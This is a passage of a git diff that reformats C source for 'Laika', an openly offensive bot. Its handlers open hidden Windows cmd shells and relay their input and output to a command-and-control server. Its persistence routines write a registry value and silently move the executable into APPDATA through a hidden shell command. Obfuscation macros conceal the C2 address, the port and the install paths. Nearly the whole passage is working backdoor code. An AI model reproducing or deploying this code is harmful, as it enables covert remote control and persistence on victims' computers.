not only that but they're only obfuscating the ip & port, both are things anyone would see
|
||||||
|
from opening wireshark */
|
||||||
|
LAIKA_BOX_SKID_START(char *, cncIP, LAIKA_CNC_IP);
|
||||||
|
LAIKA_BOX_SKID_START(char *, cncPORT, LAIKA_CNC_PORT);
|
||||||
struct sLaika_bot *bot;
|
struct sLaika_bot *bot;
|
||||||
|
|
||||||
#ifdef LAIKA_PERSISTENCE
|
#ifdef LAIKA_PERSISTENCE
|
||||||
|
@ -1,24 +1,28 @@
|
|||||||
#include <stdlib.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
|
|
||||||
#include "lerror.h"
|
|
||||||
#include "lmem.h"
|
|
||||||
#include "bot.h"
|
|
||||||
#include "shell.h"
|
#include "shell.h"
|
||||||
|
|
||||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {
|
#include "bot.h"
|
||||||
|
#include "lerror.h"
|
||||||
|
#include "lmem.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
|
||||||
|
{
|
||||||
if (bot->activeShells++ > LAIKA_MAX_SHELLS)
|
if (bot->activeShells++ > LAIKA_MAX_SHELLS)
|
||||||
LAIKA_ERROR("Failed to allocate new shell, max shells reached!\n");
|
LAIKA_ERROR("Failed to allocate new shell, max shells reached!\n");
|
||||||
|
|
||||||
/* start shell task */
|
/* start shell task */
|
||||||
if (!bot->shellTask)
|
if (!bot->shellTask)
|
||||||
bot->shellTask = laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void*)bot);
|
bot->shellTask =
|
||||||
|
laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void *)bot);
|
||||||
|
|
||||||
return bot->shells[id] = laikaB_newRAWShell(bot, cols, rows, id);
|
return bot->shells[id] = laikaB_newRAWShell(bot, cols, rows, id);
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell)
|
||||||
|
{
|
||||||
uint32_t id = shell->id;
|
uint32_t id = shell->id;
|
||||||
|
|
||||||
/* tell cnc shell is closed */
|
/* tell cnc shell is closed */
|
||||||
@ -39,8 +43,9 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
|||||||
|
|
||||||
/* ====================================[[ Packet Handlers ]]==================================== */
|
/* ====================================[[ Packet Handlers ]]==================================== */
|
||||||
|
|
||||||
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
{
|
||||||
|
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
||||||
struct sLaika_shell *shell;
|
struct sLaika_shell *shell;
|
||||||
uint32_t id;
|
uint32_t id;
|
||||||
uint16_t cols, rows;
|
uint16_t cols, rows;
|
||||||
@ -61,8 +66,9 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
{
|
||||||
|
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
||||||
struct sLaika_shell *shell;
|
struct sLaika_shell *shell;
|
||||||
uint32_t id;
|
uint32_t id;
|
||||||
|
|
||||||
@ -76,31 +82,34 @@ void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
|
|||||||
laikaB_freeShell(bot, shell);
|
laikaB_freeShell(bot, shell);
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||||
|
{
|
||||||
char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
||||||
struct sLaika_shell *shell;
|
struct sLaika_shell *shell;
|
||||||
uint32_t id;
|
uint32_t id;
|
||||||
|
|
||||||
/* read data buf */
|
/* read data buf */
|
||||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
||||||
laikaS_read(&peer->sock, buf, sz-sizeof(uint32_t));
|
laikaS_read(&peer->sock, buf, sz - sizeof(uint32_t));
|
||||||
|
|
||||||
/* sanity check shell */
|
/* sanity check shell */
|
||||||
if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
|
if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
|
||||||
LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n");
|
LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n");
|
||||||
|
|
||||||
/* write to shell */
|
/* write to shell */
|
||||||
laikaB_writeShell(bot, shell, buf, sz-sizeof(uint32_t));
|
laikaB_writeShell(bot, shell, buf, sz - sizeof(uint32_t));
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task,
|
||||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
clock_t currTick, void *uData)
|
||||||
|
{
|
||||||
|
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
||||||
struct sLaika_shell *shell;
|
struct sLaika_shell *shell;
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
|
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
|
||||||
if ((shell = bot->shells[i]))
|
if ((shell = bot->shells[i]))
|
||||||
laikaB_readShell(bot, shell);
|
laikaB_readShell(bot, shell);
|
||||||
}
|
}
|
||||||
}
|
}
|
@ -1,28 +1,30 @@
|
|||||||
/* platform specific code for achieving persistence on windows (FORCES ASCII) */
|
/* platform specific code for achieving persistence on windows (FORCES ASCII) */
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
#include <shlobj.h>
|
#include <shlobj.h>
|
||||||
#include <shlwapi.h>
|
#include <shlwapi.h>
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
#pragma comment(lib, "Shlwapi.lib")
|
#pragma comment(lib, "Shlwapi.lib")
|
||||||
|
|
||||||
#include "persist.h"
|
|
||||||
#include "lconfig.h"
|
|
||||||
#include "lmem.h"
|
|
||||||
#include "lerror.h"
|
|
||||||
#include "lvm.h"
|
|
||||||
#include "lbox.h"
|
#include "lbox.h"
|
||||||
|
#include "lconfig.h"
|
||||||
|
#include "lerror.h"
|
||||||
|
#include "lmem.h"
|
||||||
|
#include "lvm.h"
|
||||||
|
#include "persist.h"
|
||||||
|
|
||||||
HANDLE laikaB_mutex;
|
HANDLE laikaB_mutex;
|
||||||
|
|
||||||
/* check if laika is running as super-user */
|
/* check if laika is running as super-user */
|
||||||
bool laikaB_checkRoot() {
|
bool laikaB_checkRoot()
|
||||||
|
{
|
||||||
return true; /* stubbed for now */
|
return true; /* stubbed for now */
|
||||||
}
|
}
|
||||||
|
|
||||||
/* mark that laika is currently running */
|
/* mark that laika is currently running */
|
||||||
void laikaB_markRunning() {
|
void laikaB_markRunning()
|
||||||
LAIKA_BOX_SKID_START(char*, mutex, LAIKA_WIN_MUTEX);
|
{
|
||||||
|
LAIKA_BOX_SKID_START(char *, mutex, LAIKA_WIN_MUTEX);
|
||||||
|
|
||||||
laikaB_mutex = OpenMutexA(MUTEX_ALL_ACCESS, false, mutex);
|
laikaB_mutex = OpenMutexA(MUTEX_ALL_ACCESS, false, mutex);
|
||||||
|
|
||||||
@ -37,11 +39,13 @@ void laikaB_markRunning() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/* unmark that laika is currently running */
|
/* unmark that laika is currently running */
|
||||||
void laikaB_unmarkRunning() {
|
void laikaB_unmarkRunning()
|
||||||
|
{
|
||||||
ReleaseMutex(laikaB_mutex);
|
ReleaseMutex(laikaB_mutex);
|
||||||
}
|
}
|
||||||
|
|
||||||
HKEY openReg(HKEY key, LPCSTR subKey) {
|
HKEY openReg(HKEY key, LPCSTR subKey)
|
||||||
|
{
|
||||||
HKEY hKey;
|
HKEY hKey;
|
||||||
|
|
||||||
if (RegOpenKeyExA(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
if (RegOpenKeyExA(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||||
@ -51,7 +55,8 @@ HKEY openReg(HKEY key, LPCSTR subKey) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/* returns raw string value from registry */
|
/* returns raw string value from registry */
|
||||||
LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz) {
|
LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz)
|
||||||
|
{
|
||||||
LPSTR str = NULL;
|
LPSTR str = NULL;
|
||||||
DWORD ret;
|
DWORD ret;
|
||||||
|
|
||||||
@ -69,14 +74,16 @@ LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz) {
|
|||||||
return str;
|
return str;
|
||||||
}
|
}
|
||||||
|
|
||||||
void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz) {
|
void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz)
|
||||||
|
{
|
||||||
LONG code;
|
LONG code;
|
||||||
|
|
||||||
if ((code = RegSetValueExA(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
|
if ((code = RegSetValueExA(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
|
||||||
LAIKA_ERROR("Failed to write registry!\n");
|
LAIKA_ERROR("Failed to write registry!\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
void getExecutablePath(LPSTR path) {
|
void getExecutablePath(LPSTR path)
|
||||||
|
{
|
||||||
CHAR modulePath[MAX_PATH] = {0};
|
CHAR modulePath[MAX_PATH] = {0};
|
||||||
if (GetModuleFileNameA(NULL, modulePath, MAX_PATH) == 0)
|
if (GetModuleFileNameA(NULL, modulePath, MAX_PATH) == 0)
|
||||||
LAIKA_ERROR("Failed to get executable path!\n");
|
LAIKA_ERROR("Failed to get executable path!\n");
|
||||||
@ -88,12 +95,14 @@ void getExecutablePath(LPSTR path) {
|
|||||||
LAIKA_DEBUG("EXE: %s\n", path);
|
LAIKA_DEBUG("EXE: %s\n", path);
|
||||||
}
|
}
|
||||||
|
|
||||||
void getInstallPath(LPSTR path) {
|
void getInstallPath(LPSTR path)
|
||||||
LAIKA_BOX_SKID_START(char*, instDir, LAIKA_WIN_INSTALL_DIR);
|
{
|
||||||
LAIKA_BOX_SKID_START(char*, instFile, LAIKA_WIN_INSTALL_FILE);
|
LAIKA_BOX_SKID_START(char *, instDir, LAIKA_WIN_INSTALL_DIR);
|
||||||
|
LAIKA_BOX_SKID_START(char *, instFile, LAIKA_WIN_INSTALL_FILE);
|
||||||
CHAR SHpath[MAX_PATH] = {0};
|
CHAR SHpath[MAX_PATH] = {0};
|
||||||
|
|
||||||
/* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and microsoft will probably never completely remove it :P */
|
/* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and
|
||||||
|
* microsoft will probably never completely remove it :P */
|
||||||
if (SHGetFolderPathA(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, SHpath) != S_OK)
|
if (SHGetFolderPathA(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, SHpath) != S_OK)
|
||||||
LAIKA_ERROR("Failed to get APPDATA!\n");
|
LAIKA_ERROR("Failed to get APPDATA!\n");
|
||||||
|
|
||||||
@ -108,17 +117,18 @@ void getInstallPath(LPSTR path) {
|
|||||||
lstrcpyA(path, "\"");
|
lstrcpyA(path, "\"");
|
||||||
lstrcatA(path, SHpath);
|
lstrcatA(path, SHpath);
|
||||||
lstrcatA(path, "\"");
|
lstrcatA(path, "\"");
|
||||||
|
|
||||||
LAIKA_DEBUG("INSTALL: %s\n", path);
|
LAIKA_DEBUG("INSTALL: %s\n", path);
|
||||||
|
|
||||||
LAIKA_BOX_SKID_END(instFile);
|
LAIKA_BOX_SKID_END(instFile);
|
||||||
LAIKA_BOX_SKID_END(instDir);
|
LAIKA_BOX_SKID_END(instDir);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to the executable is open), so we
|
/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to
|
||||||
spawn a shell to move the exe *after* we exit. */
|
the executable is open), so we spawn a shell to move the exe *after* we exit. */
|
||||||
void installSelf() {
|
void installSelf()
|
||||||
CHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH*4)] = {0};
|
{
|
||||||
|
CHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH * 4)] = {0};
|
||||||
|
|
||||||
getExecutablePath(szFile);
|
getExecutablePath(szFile);
|
||||||
getInstallPath(szInstall);
|
getInstallPath(szInstall);
|
||||||
@ -130,24 +140,27 @@ void installSelf() {
|
|||||||
|
|
||||||
LAIKA_DEBUG("moving '%s' to '%s'!\n", szFile, szInstall);
|
LAIKA_DEBUG("moving '%s' to '%s'!\n", szFile, szInstall);
|
||||||
|
|
||||||
/* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika */
|
/* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika
|
||||||
lstrcpyA(szCmd, "/C timeout /t 3 > NUL & move /Y "); /* TODO: move this string to a secret box */
|
* TODO: move this string to a secret box */
|
||||||
|
lstrcpyA(szCmd, "/C timeout /t 3 > NUL & move /Y ");
|
||||||
lstrcatA(szCmd, szFile);
|
lstrcatA(szCmd, szFile);
|
||||||
lstrcatA(szCmd, " ");
|
lstrcatA(szCmd, " ");
|
||||||
lstrcatA(szCmd, szInstall);
|
lstrcatA(szCmd, szInstall);
|
||||||
lstrcatA(szCmd, " > NUL & ");
|
lstrcatA(szCmd, " > NUL & ");
|
||||||
lstrcatA(szCmd, szInstall);
|
lstrcatA(szCmd, szInstall);
|
||||||
|
|
||||||
if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 || (INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
|
if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 ||
|
||||||
|
(INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
|
||||||
LAIKA_ERROR("Failed to start shell for moving exe!\n");
|
LAIKA_ERROR("Failed to start shell for moving exe!\n");
|
||||||
|
|
||||||
laikaB_unmarkRunning();
|
laikaB_unmarkRunning();
|
||||||
exit(0);
|
exit(0);
|
||||||
}
|
}
|
||||||
|
|
||||||
void installRegistry() {
|
void installRegistry()
|
||||||
LAIKA_BOX_SKID_START(char*, regKey, LAIKA_WIN_REG_KEY);
|
{
|
||||||
LAIKA_BOX_SKID_START(char*, regKeyVal, LAIKA_WIN_REG_VAL);
|
LAIKA_BOX_SKID_START(char *, regKey, LAIKA_WIN_REG_KEY);
|
||||||
|
LAIKA_BOX_SKID_START(char *, regKeyVal, LAIKA_WIN_REG_VAL);
|
||||||
CHAR newRegValue[MAX_PATH] = {0};
|
CHAR newRegValue[MAX_PATH] = {0};
|
||||||
LPSTR regVal;
|
LPSTR regVal;
|
||||||
DWORD regSz;
|
DWORD regSz;
|
||||||
@ -182,12 +195,14 @@ void installRegistry() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/* try to gain persistance on machine */
|
/* try to gain persistance on machine */
|
||||||
void laikaB_tryPersist() {
|
void laikaB_tryPersist()
|
||||||
|
{
|
||||||
installRegistry();
|
installRegistry();
|
||||||
installSelf();
|
installSelf();
|
||||||
}
|
}
|
||||||
|
|
||||||
/* try to gain root */
|
/* try to gain root */
|
||||||
void laikaB_tryRoot() {
|
void laikaB_tryRoot()
|
||||||
|
{
|
||||||
/* stubbed */
|
/* stubbed */
|
||||||
}
|
}
|
@ -1,14 +1,15 @@
|
|||||||
/* platform specific code for opening shells (pseudo consoles) on windows */
|
/* platform specific code for opening shells (pseudo consoles) on windows */
|
||||||
|
#include "bot.h"
|
||||||
#include "lerror.h"
|
#include "lerror.h"
|
||||||
#include "lmem.h"
|
#include "lmem.h"
|
||||||
#include "bot.h"
|
|
||||||
#include "shell.h"
|
#include "shell.h"
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
#include <process.h>
|
#include <process.h>
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
/* shells are significantly more complex on windows than linux for laika */
|
/* shells are significantly more complex on windows than linux for laika */
|
||||||
struct sLaika_RAWshell {
|
struct sLaika_RAWshell
|
||||||
|
{
|
||||||
struct sLaika_shell _shell;
|
struct sLaika_shell _shell;
|
||||||
HANDLE in, out;
|
HANDLE in, out;
|
||||||
PROCESS_INFORMATION procInfo;
|
PROCESS_INFORMATION procInfo;
|
||||||
@ -16,12 +17,16 @@ struct sLaika_RAWshell {
|
|||||||
HPCON pseudoCon;
|
HPCON pseudoCon;
|
||||||
};
|
};
|
||||||
|
|
||||||
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows);
|
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols,
|
||||||
|
int rows);
|
||||||
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC);
|
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC);
|
||||||
|
|
||||||
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {;
|
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
|
||||||
|
{
|
||||||
|
;
|
||||||
TCHAR szComspec[MAX_PATH];
|
TCHAR szComspec[MAX_PATH];
|
||||||
struct sLaika_RAWshell* shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell));
|
struct sLaika_RAWshell *shell =
|
||||||
|
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
|
||||||
HRESULT hr;
|
HRESULT hr;
|
||||||
|
|
||||||
ZeroMemory(shell, sizeof(struct sLaika_RAWshell));
|
ZeroMemory(shell, sizeof(struct sLaika_RAWshell));
|
||||||
@ -50,34 +55,35 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
|
|||||||
}
|
}
|
||||||
|
|
||||||
/* launch cmd shell */
|
/* launch cmd shell */
|
||||||
hr = CreateProcess(
|
hr = CreateProcess(NULL, /* No module name - use Command Line */
|
||||||
NULL, /* No module name - use Command Line */
|
szComspec, /* Command Line */
|
||||||
szComspec, /* Command Line */
|
NULL, /* Process handle not inheritable */
|
||||||
NULL, /* Process handle not inheritable */
|
NULL, /* Thread handle not inheritable */
|
||||||
NULL, /* Thread handle not inheritable */
|
FALSE, /* Inherit handles */
|
||||||
FALSE, /* Inherit handles */
|
EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */
|
||||||
EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */
|
NULL, /* Use parent's environment block */
|
||||||
NULL, /* Use parent's environment block */
|
NULL, /* Use parent's starting directory */
|
||||||
NULL, /* Use parent's starting directory */
|
&shell->startupInfo.StartupInfo, /* Pointer to STARTUPINFO */
|
||||||
&shell->startupInfo.StartupInfo,/* Pointer to STARTUPINFO */
|
&shell->procInfo) /* Pointer to PROCESS_INFORMATION */
|
||||||
&shell->procInfo) /* Pointer to PROCESS_INFORMATION */
|
? S_OK
|
||||||
? S_OK : HRESULT_FROM_WIN32(GetLastError());
|
: HRESULT_FROM_WIN32(GetLastError());
|
||||||
|
|
||||||
if (hr != S_OK) {
|
if (hr != S_OK) {
|
||||||
DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList);
|
DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList);
|
||||||
laikaM_free(shell->startupInfo.lpAttributeList);
|
laikaM_free(shell->startupInfo.lpAttributeList);
|
||||||
|
|
||||||
ClosePseudoConsole(shell->pseudoCon);
|
ClosePseudoConsole(shell->pseudoCon);
|
||||||
|
|
||||||
laikaM_free(shell);
|
laikaM_free(shell);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
return (struct sLaika_shell*)shell;
|
return (struct sLaika_shell *)shell;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
|
||||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
{
|
||||||
|
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
|
||||||
|
|
||||||
/* kill process (it's ok if it fails) */
|
/* kill process (it's ok if it fails) */
|
||||||
TerminateProcess(shell->procInfo.hProcess, 0);
|
TerminateProcess(shell->procInfo.hProcess, 0);
|
||||||
@ -99,8 +105,11 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
|||||||
|
|
||||||
/* ====================================[[ Shell Handlers ]]===================================== */
|
/* ====================================[[ Shell Handlers ]]===================================== */
|
||||||
|
|
||||||
/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
/* edited from
|
||||||
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows) {
|
* https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
||||||
|
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols,
|
||||||
|
int rows)
|
||||||
|
{
|
||||||
COORD consoleSize = (COORD){.X = cols, .Y = rows};
|
COORD consoleSize = (COORD){.X = cols, .Y = rows};
|
||||||
HANDLE hPipePTYIn = INVALID_HANDLE_VALUE;
|
HANDLE hPipePTYIn = INVALID_HANDLE_VALUE;
|
||||||
HANDLE hPipePTYOut = INVALID_HANDLE_VALUE;
|
HANDLE hPipePTYOut = INVALID_HANDLE_VALUE;
|
||||||
@ -108,11 +117,14 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
|
|||||||
DWORD mode = PIPE_NOWAIT;
|
DWORD mode = PIPE_NOWAIT;
|
||||||
|
|
||||||
/* create the pipes to which the ConPTY will connect */
|
/* create the pipes to which the ConPTY will connect */
|
||||||
if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) || !CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0))
|
if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) ||
|
||||||
|
!CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0))
|
||||||
return HRESULT_FROM_WIN32(GetLastError());
|
return HRESULT_FROM_WIN32(GetLastError());
|
||||||
|
|
||||||
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much easier so it fits in nicely with
|
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much
|
||||||
the rest of the laika codebase (https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate) */
|
easier so it fits in nicely with the rest of the laika codebase
|
||||||
|
(https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate)
|
||||||
|
*/
|
||||||
if (!SetNamedPipeHandleState(*phPipeIn, &mode, NULL, NULL))
|
if (!SetNamedPipeHandleState(*phPipeIn, &mode, NULL, NULL))
|
||||||
return HRESULT_FROM_WIN32(GetLastError());
|
return HRESULT_FROM_WIN32(GetLastError());
|
||||||
|
|
||||||
@ -127,8 +139,10 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
|
|||||||
return hr;
|
return hr;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* also edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
/* also edited from
|
||||||
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC) {
|
* https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
||||||
|
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC)
|
||||||
|
{
|
||||||
HRESULT hr = E_UNEXPECTED;
|
HRESULT hr = E_UNEXPECTED;
|
||||||
|
|
||||||
if (pStartupInfo) {
|
if (pStartupInfo) {
|
||||||
@ -140,19 +154,15 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
|
|||||||
pStartupInfo->lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)laikaM_malloc(attrListSize);
|
pStartupInfo->lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)laikaM_malloc(attrListSize);
|
||||||
|
|
||||||
/* Initialize thread attribute list */
|
/* Initialize thread attribute list */
|
||||||
if (pStartupInfo->lpAttributeList
|
if (pStartupInfo->lpAttributeList &&
|
||||||
&& InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)){
|
InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)) {
|
||||||
|
|
||||||
/* Set Pseudo Console attribute */
|
/* Set Pseudo Console attribute */
|
||||||
hr = UpdateProcThreadAttribute(
|
hr = UpdateProcThreadAttribute(pStartupInfo->lpAttributeList, 0,
|
||||||
pStartupInfo->lpAttributeList,
|
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, hPC, sizeof(HPCON),
|
||||||
0,
|
NULL, NULL)
|
||||||
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE,
|
? S_OK
|
||||||
hPC,
|
: HRESULT_FROM_WIN32(GetLastError());
|
||||||
sizeof(HPCON),
|
|
||||||
NULL,
|
|
||||||
NULL)
|
|
||||||
? S_OK : HRESULT_FROM_WIN32(GetLastError());
|
|
||||||
} else {
|
} else {
|
||||||
hr = HRESULT_FROM_WIN32(GetLastError());
|
hr = HRESULT_FROM_WIN32(GetLastError());
|
||||||
}
|
}
|
||||||
@ -161,13 +171,15 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
|
|||||||
return hr;
|
return hr;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
|
||||||
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
|
{
|
||||||
struct sLaika_peer* peer = bot->peer;
|
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t)];
|
||||||
struct sLaika_socket* sock = &peer->sock;
|
struct sLaika_peer *peer = bot->peer;
|
||||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
struct sLaika_socket *sock = &peer->sock;
|
||||||
|
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
|
||||||
DWORD rd;
|
DWORD rd;
|
||||||
bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &rd, NULL);
|
bool readSucc =
|
||||||
|
ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t), &rd, NULL);
|
||||||
|
|
||||||
if (readSucc) {
|
if (readSucc) {
|
||||||
/* we read some input! send to cnc */
|
/* we read some input! send to cnc */
|
||||||
@ -176,7 +188,8 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
|||||||
laikaS_write(sock, readBuf, rd);
|
laikaS_write(sock, readBuf, rd);
|
||||||
laikaS_endVarPacket(peer);
|
laikaS_endVarPacket(peer);
|
||||||
} else {
|
} else {
|
||||||
if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
|
if (GetLastError() == ERROR_NO_DATA &&
|
||||||
|
